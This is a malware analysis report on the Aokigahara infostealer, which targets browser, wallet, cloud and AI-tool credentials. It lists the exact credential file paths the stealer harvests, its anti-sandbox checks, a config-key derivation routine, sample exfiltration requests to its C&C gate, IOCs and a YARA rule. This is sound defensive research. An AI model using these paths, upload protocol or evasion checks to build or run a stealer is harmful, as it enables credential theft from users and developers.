Category: Security News

Key Points

• Aokigahara, a newly observed infostealer, has been spotted in the wild. An earlier version may have been known as Kamidere or Stygian. The malware includes traditional data theft capabilities targeting browsers, VPN clients, cryptocurrency wallets, FTP/SFTP clients, password managers, and email applications, among other targets.
• AI applications and development tools are notable targets. The stealer collects authentication files, session data, and configuration files associated with Claude, ChatGPT Desktop, Codex, Cursor, Windsurf, GitHub Copilot, Gemini CLI, and other tools.
• Stolen AI credentials could offer opportunities for monetization. Usable credentials or session tokens could enable unauthorized access to paid AI services or the resale of compromised accounts.
• Its collection scope extends to developer and cloud environments. Targets include Git credential files, SSH private keys, and AWS, Azure, and Google Cloud credential and configuration files.

Introduction

Infostealers commonly target browser passwords, session cookies, and cryptocurrency wallets. This malware combines those established capabilities with dedicated collection routines for AI applications and development tools. Its targets include Claude, ChatGPT Desktop, Codex, Cursor, Windsurf, and GitHub Copilot, alongside cloud credentials and sensitive files from local development environments.

This expanded targeting reflects a broader shift in what attackers may consider valuable, not only personal accounts and financial data, but also access to AI services and the environments developers use to build software. Valid credentials or session tokens could expose private conversations and development data, enable unauthorized use of paid services, or potentially be sold to provide access to compromised AI accounts. While the malware’s collection routines support these possibilities, the analysis does not confirm how its operators monetize the stolen data.

Stealer Capabilities and Targeted Applications

The Aokigahara infostealer includes common information-stealing capabilities, such as screenshot capture, clipboard collection, browser credential and cookie theft, cryptocurrency wallet data collection, and file grabbing. It also includes a clipper handler that drops a separate component for clipboard manipulation.

The malware targets Chromium-based browsers and Mozilla Firefox, desktop cryptocurrency wallets and browser wallet extensions, messaging applications such as Discord and Telegram, and gaming platforms such as Steam, Roblox, and Minecraft. Additional targets include password managers, VPN clients, FTP/SFTP clients, email applications, and AI development tools. The table below summarizes each handler, its targets, and any limitations identified during the analysis.

The table below lists the malware’s main capabilities and their corresponding internal function names.

Function	What the handler targets
sysinfo	The machine and current user: computer/user names, IP, Windows version, CPU/RAM, screen size, language, uptime, running processes, environment variables, installed software, and detected antivirus.
screenshot	Captures the screen as Screenshot.jpg.
clipboard	Captures clipboard contents into Clipboard.txt.
browsers	Chromium-based browser profiles. The embedded paths name Chrome (including Beta/Canary), Edge (including Beta/Dev/Canary), Brave, Opera, Vivaldi, Yandex, 360Chrome, CentBrowser, CocCoc, Comodo Dragon, Epic Privacy Browser, Iridium, Torch, Slimjet, URBrowser, SRWare Iron, Chromium, 7Star, Amigo, Sputnik, Atom, Orbitum, QQBrowser, Naver Whale, Maxthon, Avast, AVG, CCleaner Browser, and Kinza. The handler collects browser profile data, including saved login data and cookies.
firefox	Mozilla Firefox profiles: saved logins (logins.json, decrypted through NSS), key database, and cookies.
wallets	Desktop wallet files/data for Exodus, Atomic, Electrum, Electrum-LTC, Ethereum keystore, Zcash, Armory, Bytecoin, Jaxx, Guarda, Coinomi, Wasabi, Dogecoin, DashCore, Litecoin, Bitcoin, Monero, Daedalus, Binance, Ledger Live, and TokenPocket. It also scans Chromium profiles for wallet-extension data; identified extensions include MetaMask, Phantom, TronLink, Coinbase, Binance, and Trust.
discord	Discord’s Local Storage LevelDB files, looking for token-like strings. Output path: Messengers/Discord/Tokens.txt.
telegram	Telegram Desktop’s tdata directory.
steam	Steam configuration and login-related files: loginusers.vdf, config.vdf, and ssfn* files.
outlook	Microsoft Office Outlook profiles. The handler extracts email addresses, IMAP/POP3/SMTP server details, and passwords from profile data.
vpn	OpenVPN configs (*.ovpn), NordVPN, ProtonVPN, Private Internet Access, Surfshark, and Windscribe configs (*.conf/*.json).
ftp	FileZilla, WinSCP, CoreFTP, FlashFXP, and SmartFTP saved sites/sessions. The code formats output with host, username, and password fields.
passman	KeePass, Bitwarden, Bitwarden CLI, 1Password, Dashlane, RoboForm, NordPass, and Sticky Password data/config files.
gaming	Roblox cookies, Battle.net config, Epic Games config/logs, Riot Games client settings, Minecraft and Roblox launcher accounts/profiles, GOG Galaxy, Origin, and Ubisoft Game Launcher data.
filegraber	Files from the user’s Desktop, Documents, and Downloads, placed under Files/Documents or Files/Crypto. The handler applies configured matching criteria; I haven’t confirmed the full extension/filter list.
thunderbird	Mozilla Thunderbird profile files, archived under Mails/Thunderbird/....
websessions	Chromium browser local/session storage, which can contain web-application session data. The table includes Chrome, Chrome Beta/Canary, Edge, Edge Beta, Brave, Opera, Vivaldi, Yandex, Arc, Thorium, and Chromium.
discordforks	Discord-derived/modded clients: token-like data from their LevelDB files and files such as settings.json, config.json, storage.json, and state.json. The exact client names come from a separate table I haven’t resolved here.
aisessions	AI/developer-tool credentials and sessions: Claude Code/Desktop, Codex, ChatGPT Desktop, AWS credentials/SSO and Amazon Q, Cursor, Windsurf, Kiro, GitHub Copilot/VS Code, Gemini CLI, and JetBrains AI Assistant. It also queries Windows Credential Manager.
clipper/clipper_drop	Drops a clipper component beneath C:\Microsoft\Vault using embedded data. The handler itself does not access the clipboard; it deploys the component responsible for clipboard manipulation. The targeted cryptocurrency wallets or address formats have not been confirmed.
ide	The ide handler collects local data from code editors and developer tools, including VS Code, Cursor, Windsurf, and JetBrains products. Notable targets include Git credential files, files under .ssh that may contain private keys, AWS/Azure/Google Cloud credential and configuration files, and GitHub Copilot storage. It passes matching file contents to the malware’s upload routine. If usable secrets are exposed, attackers could gain access to source code repositories, cloud resources, and other development services.

AI Data Theft

The more distinctive capability is the aisessions handler, which targets AI applications and development tools. These include Claude, ChatGPT Desktop, Codex, Cursor, Windsurf, GitHub Copilot, and Gemini CLI, alongside AWS credentials and single sign-on (SSO) data. This extends the malware’s collection beyond traditional personal accounts to authentication files, session data, and configuration files associated with AI-assisted development and cloud environments.

The paths below identify the handler’s collection targets. Depending on the application, these files may contain tokens, credentials, session data, or settings; not every targeted file necessarily contains authentication secrets.

Target	Targeted paths
Claude Code and Claude Desktop	%s\.claude\credentials.json %s\.claude.json %s\Claude %s\Packages\Claude_pzs8sxrjxfjjc\LocalCache\Roaming\Claude
Codex	%s\.codex\auth.json %s\.codex\config.toml %s\.codex\.env
ChatGPT Desktop	%s\Packages\OpenAI.ChatGPT-Desktop_2p2nqsd0c76g0\LocalCache\Roaming\ChatGPT
Cursor	%s\Cursor\User\globalStorage\state.vscdb %s\Cursor\User\globalStorage\storage.json %s\Cursor - Insiders\User\globalStorage\state.vscdb %s\Cursor - Insiders\User\globalStorage\storage.json
AWS CLI and SSO	%s\.aws\credentials %s\.aws\config %s\.aws\sso\cache
Amazon Q	%s\amazon-q\data.sqlite3
Kiro IDE	%s\.aws\sso\cache\kiro-auth-token.json %s\Kiro\User\globalStorage\kiro.kiroagent\profile.json
Windsurf	%s\Windsurf\User\globalStorage\state.vscdb %s\Windsurf - Next\User\globalStorage\state.vscdb
Codeium	%s\.codeium\config.json
Visual Studio Code	%s\Code\User\globalStorage\state.vscdb %s\Code - Insiders\User\globalStorage\state.vscdb
GitHub Copilot	%s\.copilot\config.json %s\.copilot\hosts.json
Google Gemini CLI	%s\gemini-cli-workspace-token.json %s\.gemini-cli-workspace-master-key %s\.gemini\.env %s\.gemini\config.json
JetBrains AI Assistant	%s\JetBrains\* %s\JetBrains\%s\options\AIAssistantQuotaManager2.xml

Attackers target these files because they may contain authentication tokens, API keys, cloud credentials, and session data. If valid and usable, these secrets can allow attackers to access AI services or cloud environments without entering a password, potentially exposing private conversations, source code, and other sensitive information. Compromised accounts may also be used to consume paid services, generate unauthorized charges, or support further attacks.

Anti-Analysis

The infostealer includes several known anti-analysis checks, most of which run only when their corresponding configuration flags are enabled. The results of these checks determine whether the malware continues execution. It also dynamically resolves Windows API functions using hashes and uses control-flow flattening in some parts of the code, particularly around the configuration decryption routine.

When the language-check flag is enabled, the malware checks the system’s keyboard layout and Windows UI language. If either matches a language ID represented in the bitmask 0x6C0400C8601, the malware stops execution. The excluded language settings are listed below.

ID	Language/region
0x0419	Russian — Russia
0x0422	Ukrainian — Ukraine
0x0423	Belarusian — Belarus
0x0428	Tajik — Tajikistan
0x042B	Armenian — Armenia
0x042C	Azerbaijani (Latin) — Azerbaijan
0x0437	Georgian — Georgia
0x043F	Kazakh — Kazakhstan
0x0440	Kyrgyz — Kyrgyzstan
0x0442	Turkmen — Turkmenistan
0x0443	Uzbek (Latin) — Uzbekistan

The second configuration flag enables analysis-environment checks, including anti-debugging, virtual machine detection, and sandbox detection. The anti-debugging checks include:

• Inspection of debugger-related flags in the Process Environment Block (PEB).
• Queries for the process debug port and debug object.
• A debug-output string check.
• Inspection of hardware breakpoint registers (DR0–DR3).

The malware checks for indicators of virtualized or analysis environments, including:

• Hypervisor identifiers obtained through the CPUID instruction.
• Registry entries and running processes associated with virtual machine guest tools.
• Firmware and System Management BIOS (SMBIOS) fingerprints.
• A low number of running processes.
• Suspicious usernames and computer names.
• Display characteristics and available hardware resources.

The malware also checks usernames and computer names against strings commonly associated with test or analysis environments. The inspected strings include:

"sandbox", "malware", "virus", "sample", "test", "user", "admin", "CurrentUser", "John", "Peter", "JOHN", "John Doe", "WDAGUtilityAccount"

Additional checks monitor cursor movement and the number of running processes. These signals may help the malware identify automated analysis environments.

Configuration

The encrypted configuration blob is stored in the .stgcfg section. It begins with a four-byte magic value STGC, followed by the ciphertext length, a 16-byte initialization vector (IV) used for AES-CBC decryption, and the encrypted configuration data.

struct EncryptedConfigBlob
{
    DWORD magic;              // Four-byte configuration magic
    DWORD ciphertext_len;     // Encrypted configuration size in bytes
    BYTE  iv[0x10];            // 16-byte AES-CBC initialization vector
    BYTE  ciphertext[];       // Encrypted configuration data
};

The AES IV is stored in the .stgcfg section, while the malware derives the AES key from a specific seed using the algorithm below. The routine produces a 32-byte key used to decrypt the configuration with AES-256-CBC.

"""
Author: @Tera0017/Check Point Research
"""
def decrypt_aes_key(seed: int, length: int = 32) -> bytes:
    key = bytearray()

    for i in range(length):
        seed ^= (seed >> (8 * (i & 3))) & 0xFF

        seed = (seed * 0x01000193) & 0xFFFFFFFF

        seed ^= seed >> 16

        key.append(seed & 0xFF)

    return bytes(key)

The decrypted configuration contains the command-and-control (C&C) URL, the server’s X25519 public key, a build ID, and a gate token used for communication. It also includes a module bitmask that controls which capabilities are executed, flags for language and analysis-environment checks, TLS certificate pinning settings, and up to three fallback URLs.

struct DecryptedConfig
{
    char  base_url[0x100];
    BYTE  server_x25519_public_key[0x20];
    char  build_id[0x20];
    char  gate_token[0x40];
    DWORD module_mask;

    BYTE  unk_184[0x404];

    BYTE  language_check;
    BYTE  analysis_environment_check;
    BYTE  unk_58A;
    
    BYTE  tls_certificate_sha256[0x20];
    BYTE  tls_pin_enabled;

    BYTE  fallback_urls[3][0x100];
    BYTE  fallback_count;
};

The malware uses the module_mask bitmask in its configuration to control which built-in capabilities are executed. Each entry in the module-dispatch table contains a function pointer and an associated feature mask. During dispatch, the malware performs a bitwise AND between module_mask and the entry’s feature mask. A nonzero result selects the corresponding function for execution.

All module implementations remain embedded in the executable, even when disabled in the configuration.

Network

The malware retrieves its C&C connection settings from the decrypted configuration. It uses the /gate path as the base for three endpoints that handle session establishment, stolen data uploads, and session completion.

Path	Description
/gate/handshake	Establishes an upload session by sending the client’s raw 32-byte X25519 public key. The malware requires an HTTP 200 response before enabling uploads.
/gate/chunk	Uploads collected information packaged into ZIP archives and encrypted using AES-256-GCM. Each request body contains a 12-byte nonce, ciphertext, and a 16-byte authentication tag. Headers identify the upload label and sequence number.
/gate/complete	Signals the end of the upload phase by sending the eight-byte marker COMPLETE. The malware expects an HTTP 200 response and subsequently performs local session cleanup. This notification does not independently establish that every upload succeeded.

The stealer generates an X25519 key pair consisting of a public key and a private key. It then computes a shared secret using its private key and the server_x25519_public_key stored in the decrypted configuration. The malware derives the communication encryption key from this shared secret using SHA-256 and the fixed string aokigahara. The resulting 32-byte key is used for AES-GCM encryption.

/handshake

The initial handshake registers the upload session with the C&C server and sends the client’s 32-byte X25519 public key in the request body. The request headers include the build ID, gate token, session ID, hardware identifier, and key exchange algorithm.

POST /gate/handshake HTTP/1.1
Connection: Keep-Alive
Content-Type: application/octet-stream
User-Agent: Microsoft-CryptoAPI/10.0
X-Build-ID: cae87a25
X-Gate-Token: fc157583cc171c2c82419748390126839a0f8fba317a75f919e785aca3d98f8e
X-Session: ca47b44161834cb70a224dbe3d92a383
X-HWID: 69B506A1
X-KEX: x25519
Content-Length: 32
Host: $SERVER

$CLIENT_X25519_PUBLIC_KEY

/chunk

For each executed collection module, the malware uploads an AES-GCM-encrypted ZIP archive to /gate/chunk. The X-Chunk header identifies the type of stolen data, using module labels such as sysinfo, browsers, firefox, or aisessions. The X-Chunk-Index header identifies the upload’s sequence number, which is also included in the request body.

The malware allocates an upload buffer with a size equal to the ZIP archive’s size plus 28 bytes. The buffer begins with a 12-byte AES-GCM nonce, formed by combining the four-byte little-endian chunk index with eight randomly generated bytes. The encrypted ZIP archive follows the nonce, and a 16-byte AES-GCM authentication tag is appended at the end.

POST /gate/chunk HTTP/1.1
Connection: Keep-Alive
Content-Type: application/octet-stream
User-Agent: Microsoft-CryptoAPI/10.0
X-Build-ID: 4dbf818f
X-HWID: 69B506A1
X-Chunk: sysinfo
X-Chunk-Index: 0
X-Session: ca47b44161834cb70a224dbe3d92a383
X-Total: 19
X-Gate-Token: fc157583cc171c2c82419748390126839a0f8fba317a75f919e785aca3d98f8e
Content-Length: 3233
Host: $SERVER

\x00\x00\x00\x00$RANDOM_8_BYTES || $AES_GCM_CIPHERTEXT || $GCM_AUTH_TAG_16_BYTES

The next example uploads screenshot data with a chunk index of 1. The request body begins with \x01\x00\x00\x00.

POST /gate/chunk HTTP/1.1
Connection: Keep-Alive
Content-Type: application/octet-stream
User-Agent: Microsoft-CryptoAPI/10.0
X-Build-ID: 4dbf818f
X-HWID: 69B506A1
X-Chunk: screenshot
X-Chunk-Index: 1
X-Session: ca47b44161834cb70a224dbe3d92a383
X-Total: 19
X-Gate-Token: fc157583cc171c2c82419748390126839a0f8fba317a75f919e785aca3d98f8e
Content-Length: 10066
Host: $SERVER

\x01\x00\x00\x00$RANDOM_8_BYTES || $AES_GCM_CIPHERTEXT || $GCM_AUTH_TAG_16_BYTES

/complete

After uploading all ZIP archives, the malware sends a final HTTP POST request to /gate/complete on the C&C server. The request body contains the eight-byte message COMPLETE, indicating that the upload process has finished.

POST /gate/complete HTTP/1.1
Connection: Keep-Alive
Content-Type: application/octet-stream
User-Agent: Microsoft-CryptoAPI/10.0
X-Build-ID: 4dbf818f
X-HWID: 69B506A1
X-Session: ca47b44161834cb70a224dbe3d92a383
X-Gate-Token: fc157583cc171c2c82419748390126839a0f8fba317a75f919e785aca3d98f8e
Content-Length: 8
Host: $SERVER

COMPLETE

The stealer appears to be under active development, with changes to its HTTP User-Agent string observed across versions. The latest analyzed samples use Microsoft-CryptoAPI/10.0 for communication with the server.

Conclusion

The malware retains the broad collection capabilities expected of an infostealer, but its dedicated targeting of AI applications and developer tools is particularly notable. By collecting authentication files, application storage, Git credentials, SSH-related files, and cloud configuration data, it reaches beyond traditional consumer accounts into AI-assisted development and cloud environments.

The targeting of AI sessions creates a potential route to monetization through unauthorized use of paid services or the resale of compromised access. It may also create opportunities for data extortion. Users can share sensitive business information, proprietary source code, and other confidential material with AI services. If stolen credentials or session tokens provide access to conversation histories or uploaded files, attackers could potentially threaten to disclose that information to demand payment.

The key finding is that AI application credentials and session data are part of this malware’s collection scope and should be treated as sensitive assets alongside browser sessions, cloud credentials, and developer keys.

Indicators of Compromise

Description	Value
Aokigahara SHA1	007137599bc4d69ee952a5228b5fcb2c3b9a95a7 00d52c7e759d878f0d8a117502f6d854af13f007 04eddccb79db41e03a4ee8542e8a33d7f1d9fe18 057a2d1dedeb93b7765c455a9e0c469e7cbe4843 079ddf5cc7d6ca2e02f860f87d4d18c83db9d331 0b74ce90a39278fb97fe94f6306af71cbe679503 0c46ac5555cf8f305c1345a21d0802c52bf52cd8 0d8d0bad2e08856ba379e425e2e90e49506af631 0e76150cee3f2b89f0fbe39106ab2898db109f09 0f69792cb926a416766d47a30a05009c13be0d64 130f2710cf9863bdd6724e8912600505b6fb7ef2 133dc00ad81638e6b0a2f8f163b4d694ce477165 151d8013ca3ab3dab9cd37f4ed9870cc83e87a77 1701db4fa798b309cb25227408406dde4c69de8a 1835f1e0b1eda3dc4b39682ecad3eba88cbbc44e 18e041b5a0c668392ff4d036f3f9660c2698311e 1a6a6e08a01cc3f1455af2c4ecd59a3d7802cd7a 1a7248720f3ac79082841b006582f20799b314a9 1a97a18db74f2b6df984c9a188a79b4e65a06b81 1cb6ccfdcb277a0277729443d15f17a441fa0eda 1cb8dc11bdb8baf342b83079fb650cd6bb1b132d 1e072236f87cd914dc583ca2163460d656bfcfba 1e94d7f1d501724076fcf98459e14b68321d45f7 2045f165d737f2d43ba603d444dfa5d9e6f05805 211e45f306b84a82cfe736635c176a424e7479dc 21ef070e39f651118a804882374dc2dfa3e38666 2362a326070d83c167251873b389bd783781cf6c 241e37b8fc5ffeefbd1d89a82b74cf2d92b49eac 244371fc1642f0548b807b0a4a2e7ea5d7b4c82a 28099fc5a8cbbd40173f8ac0aded9044fdb4a598 2cdc77108c585d14b1567053b8f8a58ea78c255f 2f30b116ca3dc48ff5783c3bb7391d671866e27b 30737fa46f2ff93e33f45008cf306233954ea898 324e0fffc7977f8ff591993819123d33c2970953 3586eeaf3ffe2c3a4f1d005aee863b7aee7cc7bd 3696baa239c479f9f5103618214972890f1a473b 385e21a96687a33f79f9cab0627aec7218e1a8f4 38b2c29b46086b417181deb958e8b276a9d1fbf4 3aaeb49864108c92af50feeb5d9e3b3efaa39818 3c56a0c3c59a1425bfdcdffda9e8b308f478b147 426bea548a24f7f39c279770b5dd21fbed7f7328 4417d2645adb6e7e94959daf483f93058500840f 4485feb1385975ef13f08148cdc679f50fa0cc6d 456414c0acf463e06f95f5bd3d8355758fca6b53 4595d1875441ffb8c076856e366d1f4f5c74a679 48c6b66dc4b4d40d72b7460e6fd670b6c03d5d40 4b3a4ad0acd43fc8796147381074a98e8e576904 4c07021f8b0cdd3ca334a13f9af2bade9e699dc2 50060c0fc5fa8932671eb24b03b05d00c2e99951 51ae6cad54f33846f83a352457b9a44ef8b7a61d 59bbaca8a848215e7e4af7cec320432c51b0b812 5ef7eb755f1e3f6bf8586794777466a639057dcb 5fadf206dc163f63ebf66f984042b00c67121813 5fe11fbb89d33efa712ffb8590626bd88fecab8f 61a024f5a42a9a91b0a9871a1613c7fb3ef5613b 62dcc9ba2a5eee9dd941ad08766603c89a45869b 6393c0d3fb76f771a9418c2d152c621929ee002b 63cc5033532cd00bda3d4968b1257629e613505a 682dd6392004e1131b1aa3f2351a0bc7adb84d14 699c809a116106da40b3f641c11b0db34d0f1c5e 6a09fffca381f6624d2def1083284ca486306e7c 6c860007f8f49de8e9848b538bd7acdc6bfcdf55 6e073a196a9bfa01da418b5783c2395fb22c7ec9 6eb8f17dba69f6d25b7f5c529b25d199707b69e2 6f7d5935602c188b1e3066b4ab9aeef7b85a8ec2 70915fac07af4ad7acc1868fe05dc00b98206f0f 70d4007b11e56752fffb81f71c90987f4bb441fa 70e91644802053cfa68be6ec0f94207282ff27e4 7233a15327dc2f0cca0292e6352eebf6e6e090d8 72aa6417a19c45dabdd6c79087fb13c73ae7b823 7cc6c75fad93b2482a9c5f4522530007c72f99e0 82ebfc09c98bd211ff8b08efcd8ec8b9ce1fb4be 83b43ce0ee9881201451c0604fb5b792bd4581f5 86230c07e638b85bc8010df1aa9e33ca61fda4cc 89f296aef7988bdd59109e4263d0a31c886770aa 8b0cf62382f620bbbf5d176295d63ed522ab9c2c 8c3111a61fbf30e86b8206397ce3c0017e5ea509 8c4c1d8325adb463c34694ce3a5a851e97b81a6f 8d7a81119ce7be6eb452192f08fa2669228ff597 8d860ca64ce0cbf40871fd66b9e3a513e73cda90 8dc40b7208b8c0d95d1ab8dda9a56fff790b3ddd 8e9fd1274b77ff9726c4637d008a9d599c9d5f1e 9003310bf73dc337b8b50131f1c0724a79161aac 90c057dafefbee423e3014266218272d454a0aa3 912ed8ce7767f94f62de6a30fb8e9df7c0c512f7 9369e0e5eae22cff71b375ad285ea89471f25101 97c80e2d382e6e55f61702da3afb838fdec2f4f1 98c6649cc256dfadf1af939da46f037b05c0f2e5 99b28a20851a3ed29769a469f4dd31ebbb8a83de 9d424ce23753ffddc7b39477222123b0f2c33066 9f05045f5447d79c8c0d0f5cb589fd85c89620d3 9f20034441e78574aec7ad39842a342f939eaf6a a00da33342a5ea5168d851a5c93109e07cf95c49 a2abdf1af38da9995a3b6672ce6c34e9e17c39a4 a4871f4a61faf74e1cceaffe26901f6076c9f37e a63ded811d412cd0f859891b0c1f066b87bb1b80 a84148b4d408544325c20ee04299ae95c762b6a2 ad960d2abb1999a7260c5f498532a5bb8754c2a5 ae9d6b1a32a45b05edb920538e538a3d6a5fe439 af196456d2ebf9556ab239661922565e1bca9ac0 b335483800d35a29c25767c917725e24c21b0f2b b33e59c598845d2547ddc7f654115df2284bb3ae b36d0796e33f808eaeb33b33908327a410680c56 b4491f1919a88deedebe7fba56b593e7d6655458 b523d56d82485253f2e3619437c8398b7ee0f20d b607025d3e06d1e8cffcd398c64871d7fcd92bf4 b6f0dfd3aa2fc7b8b2ad432c4a4276da23ceb46b bab4c910e3c98085bf228519f346d071a75e44e3 bad339c5ad65808285b0e87498f2ea6f669417d9 c00aceaa40b38e48f662ac927bb86302934aaf96 c2e28ba5523c1f3a545a0b4a00a9d5e9c8ae7583 c323c59815082ac842f0bafcc01f537444e1cc5a c5b50b5e14dfb5e028dfd88a4e4fb960dd650b52 c810acdf30bcdfc6e8021e7f62a3bcce0828c2ee c8456bb71a74ed6305455c318295b8a39e9277f3 cbdff0df0dbdbc3c1845d208661dd75fd335ef93 cc12fcb9e5e6f7afde66f5c3452ed6e3cd6d5390 cc708ae3d7aa084279122c0db7250096f750d6b0 d34491da5aa159314129c0ff67f957d873703e35 d3c90275dd7279a791d717676be15789376f7aa7 d8bfff5139b54b6f98f07c051cd25d7aa465fec8 da986a3cb2ce67456ef374fbdd957d370a1a4367 daef439e1f110d624ce50fe0f9d9d24f61f7497b db3332ce75676389b79cf3603d81cb231cb7c19c db69c7c930fd5dc5097847979a965fdea4171d5b dba5fef27b53ff479a4d7046cd1f22710081a16c de9d152010819c8fb5cb611a4de920399e69cfeb dfd1540c0185e74ec65acfcae1af7ba0da36c774 e052ff49190f54e0ffc52f7b3f7b5e7b9e121c4c e3af6d9e3b35e5e04feda3cde96256dd3b099624 e4d93fa1b2d0fd26e8b877511ea33badb4628169 e5c43abd1c212b2f2a61d5e1cb7821406ca5dc8e e8d09eb2e5857fde39b44aeb48078f5396809026 ec7cd90d56e5b73caa9d4eb0472bfee68d716121 eec7ece53d47e50940584f4dec684a24a78f42f2 f0b23f420659babb3a730b122259440091c53c12 f30e9730db0663f87c67a4b9a0cf12ee59b1621a f35e6d2936c0f6dc26bdc68f6d1599cf438a863a f4184e1bb61e19d190555c50fdb9d4591767bf53 f47d45eea1c42b066f8537baf72ffa266646bf62 f5993e64a18e7494b25a185de9f63a1df961b99a f633fc9fd16dadca2725d3d54aaf13ea1a62174f f6d950a5a8e5ba336f748b66745c6c1f189d3362 f8cf33b18e9932d285696fee40a7fee2a87341c2 f8dbc552c89bef758e4fcbd9942d06bc0c11db0a f990bf4f05dfa4d86b3e3bc0a54f62e91b83f2c6 fa61cf3bebefd88ea9d06007a4b85791aa851c8a fbe8708247fabd8a1bc3963db3911b5e77728669 fe6b7d6fa8c2424d14a0d465ab78aaf83db0d07b ff402e64bc42222c8a4ee703123903c2a2117dd9
Aokigahara C&C	2[.]26[.]252[.]48:8080 dfwioeiofwr[.]info dobeqnesmot[.]cc gate[.]dfwioeiofwr[.]info hjazfioe[.]surf kkeyyou[.]cc neihite[.]cc somelitersofblood[.]pw
Clipper	8d6c86e0af7807f9b5baf15e9f076bb81e012515

Yara Rule

rule aokigahara
{
    meta:
        author = "@Tera0017/Check Point Research"
        description = "Aokigahara Stealer"
    strings:
        $str1 = "X-Chunk-Index: %u" ascii fullword
        $str2 = "X-Build-ID: %s" ascii fullword
        $str3 = "AKGRES" ascii fullword
        $str4 = "AISessions/" ascii
        $str5 = "\\\\.\\pipe\\akg_%lx_%lx" ascii fullword
        $str6 = "sysinfo\x00screenshot\x00clipboard"
        $str7 = "aokigahara" ascii fullword
        $str8 = "kamidere" ascii fullword
        $str9 = "/chunk" ascii fullword
        $str10 = "%s\\kmd_w_%d_%d.db" ascii fullword
        $str11 = ".ROBLOSECURITY" ascii fullword
        $code1 = {45 69 ED B1 79 37 9E 48 C1 EF 11 48 C1 EA 20 41 31 D6 41 31 C6 41 31 FD 45 89 77 04 45 89 6F 08}
        $code2 = {41 4B 47 52 45 53 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? EF BE AD DE }
    condition:
        uint16(0) == 0x5A4D and 3 of them
}

Source: Check Point Research · 2026-10-23